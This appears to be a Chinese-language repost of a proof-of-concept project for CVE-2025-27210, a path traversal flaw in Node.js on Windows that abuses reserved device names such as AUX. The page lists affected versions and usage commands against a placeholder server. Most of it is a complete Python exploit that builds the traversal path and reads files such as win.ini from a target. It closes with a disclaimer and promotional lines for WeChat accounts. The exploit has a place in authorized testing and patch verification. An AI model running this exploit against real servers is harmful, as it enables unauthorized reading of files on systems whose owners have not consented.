CVE-2025-27210:Node.js Windows路径遍历漏洞检测工具
CVE-2025-27210:Node.js Windows路径遍历漏洞检测工具
项目概述
本项目提供了一个概念验证(PoC)工具,用于检测和验证CVE-2025-27210漏洞的存在。这是一个影响Windows系统上Node.js的高危路径遍历漏洞。该漏洞源于Node.js的path.normalize()和path.join()函数对Windows保留设备名(如CON、AUX、PRN等)的不当处理,攻击者可利用此行为绕过路径限制,访问未经授权的文件或目录。
功能特性
- 精确路径遍历利用:生成并发送精心构造的恶意路径序列,利用Windows保留设备名实现路径遍历。
- 多种HTTP方法支持:支持通过GET和POST两种HTTP方法发送漏洞利用请求。
- 详细响应分析:捕获并分析目标服务器的完整响应,包括状态码、内容长度和提取的文件内容。
- 智能成功判断:针对特定目标文件(如
win.ini)进行内容验证,以确认漏洞利用是否成功。 - 完整的审计日志:记录所有相关操作细节,包括原始路径、编码路径、完整请求URL和响应详情,便于安全分析。
受影响版本
- Node.js 20.x 版本 低于20.19.4
- Node.js 22.x 版本 低于22.17.1
- Node.js 24.x 版本 低于24.4.1
注意:仅影响运行在Windows上的Node.js应用程序。Linux和macOS系统不受影响。
已修复版本
- Node.js 20.19.4
- Node.js 22.17.1
- Node.js 24.4.1
安装指南
本项目是一个Python脚本,无需复杂的安装过程。您只需确保系统中安装了Python 3和必要的依赖库。
系统要求:
- Python 3.6 或更高版本
- 网络访问权限(用于发送HTTP请求)
依赖安装:
# 安装所需的Python库
pip install requests
使用说明
基础使用示例:
# 使用GET方法测试漏洞,尝试读取C:windowswin.ini文件
python exploit.py --url http://target-server.com --file "C:windowswin.ini" --method GET
# 使用POST方法测试漏洞
python exploit.py --url http://target-server.com --file "C:windowswin.ini" --method POST
命令行参数说明:
--url或-u:目标服务器URL(必需)--file或-f:要尝试读取的目标文件路径(必需)--method或-m:使用的HTTP方法(GET或POST,默认为GET)
典型使用场景:
- 安全审计:安全研究人员在获得授权的情况下,使用此工具测试其Node.js应用程序是否受CVE-2025-27210影响。
- 漏洞验证:渗透测试人员在合法范围内验证目标系统是否存在此特定漏洞。
- 安全演示:安全团队在内部培训中演示Windows保留设备名如何被用于路径遍历攻击。
核心代码
以下是项目中的核心漏洞利用函数及其详细注释:
import argparse
import requests
import urllib.parse
import json
import sys
def exploit_path_traversal_precise(target_url: str, target_file: str, method: str) -> dict:
"""
执行精确的路径遍历漏洞利用攻击。
此函数利用Windows保留设备名(AUX)结合路径遍历序列(..),
尝试绕过Node.js的路径规范化检查,读取目标服务器上的敏感文件。
参数:
target_url (str): 目标服务器的基本URL
target_file (str): 要尝试读取的目标文件路径(如C:windowswin.ini)
method (str): 使用的HTTP方法('GET' 或 'POST')
返回:
dict: 包含攻击详情和结果的字典
"""
# 构造路径遍历序列:使用6个".."来向上遍历目录
traverse_sequence = ".." * 6
# 处理目标文件路径:移除C:盘符和开头的斜杠/反斜杠
normalized_target_file = target_file.replace("C:", "").lstrip("/")
# 构造恶意路径:结合遍历序列、Windows保留设备名AUX和目标文件
# AUX是Windows保留设备名,用于绕过路径检查
malicious_path = f"{traverse_sequence}AUX..{normalized_target_file}"
# URL编码恶意路径,确保特殊字符被正确传输
encoded_malicious_path = urllib.parse.quote(malicious_path, safe='')
# 构造完整的请求URL
full_url = f"{target_url}/{encoded_malicious_path}"
# 初始化响应数据结构,用于记录攻击详情
response_data = {
"target_url": target_url,
"target_file_attempted": target_file,
"malicious_path_sent_raw": malicious_path,
"malicious_path_sent_encoded": encoded_malicious_path,
"full_request_url": full_url,
"http_method": method,
"success": False, # 攻击是否成功的标志
"response_status_code": None, # HTTP响应状态码
"response_content_length": None, # 响应内容长度
"extracted_content": None, # 提取的文件内容
"error_message": None # 错误信息(如果有)
}
try:
# 打印攻击准备信息
print(f"[*] 准备执行精确路径遍历漏洞利用...")
print(f"[*] 恶意路径(编码前): {malicious_path}")
print(f"[*] 恶意路径(编码后): {encoded_malicious_path}")
print(f"[*] 请求URL: {full_url}")
# 根据指定的HTTP方法发送请求
if method.upper() == 'GET':
# GET请求:将恶意路径直接附加在URL后
response = requests.get(full_url, timeout=15)
elif method.upper() == 'POST':
# POST请求:将恶意路径作为filename参数发送
response = requests.post(f"{target_url}", params={'filename': encoded_malicious_path}, timeout=15)
else:
raise ValueError("不支持的HTTP方法。请使用'GET'或'POST'。")
# 记录响应状态码和内容长度
response_data["response_status_code"] = response.status_code
response_data["response_content_length"] = len(response.content)
# 检查响应状态码是否为200(成功)
if response.status_code == 200:
content = response.text
response_data["extracted_content"] = content
# 判断攻击是否成功:
# 1. 如果目标文件是win.ini,检查是否包含"[windows]"标识
# 2. 对于其他文件,只要响应内容非空即视为可能成功
if target_file.lower().endswith("win.ini") and "[windows]" in content.lower():
response_data["success"] = True
print(f"[+] 成功读取目标文件: {target_file}")
print(f"[+] 文件内容长度: {len(content)} 字符")
elif len(content) > 0:
# 对于非win.ini文件,有内容返回可能表示成功
response_data["success"] = True
print(f"[+] 成功读取目标文件: {target_file}")
print(f"[+] 文件内容长度: {len(content)} 字符")
else:
print(f"[-] 响应内容为空,可能文件不存在或无读取权限")
else:
print(f"[-] 请求失败,状态码: {response.status_code}")
except requests.exceptions.Timeout:
# 处理请求超时异常
error_msg = "请求超时(15秒)"
response_data["error_message"] = error_msg
print(f"[-] {error_msg}")
except requests.exceptions.ConnectionError:
# 处理连接错误异常
error_msg = "连接目标服务器失败"
response_data["error_message"] = error_msg
print(f"[-] {error_msg}")
except Exception as e:
# 处理其他未预见的异常
error_msg = f"未预期的错误: {str(e)}"
response_data["error_message"] = error_msg
print(f"[-] {error_msg}")
return response_data
免责声明
**此信息仅供授权安全研究和教育目的使用。使用此知识进行的任何操作都必须遵守所有适用的法律和道德准则。作者不对信息的任何滥用负责。在测试或与任何系统交互之前,请务必获得适当的授权。**FINISHED
6HFtX5dABrKlqXeO5PUv/84SoIo+TE3firf/5vX8AZ6udfocgfjLsstCCk8zj3iO
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)







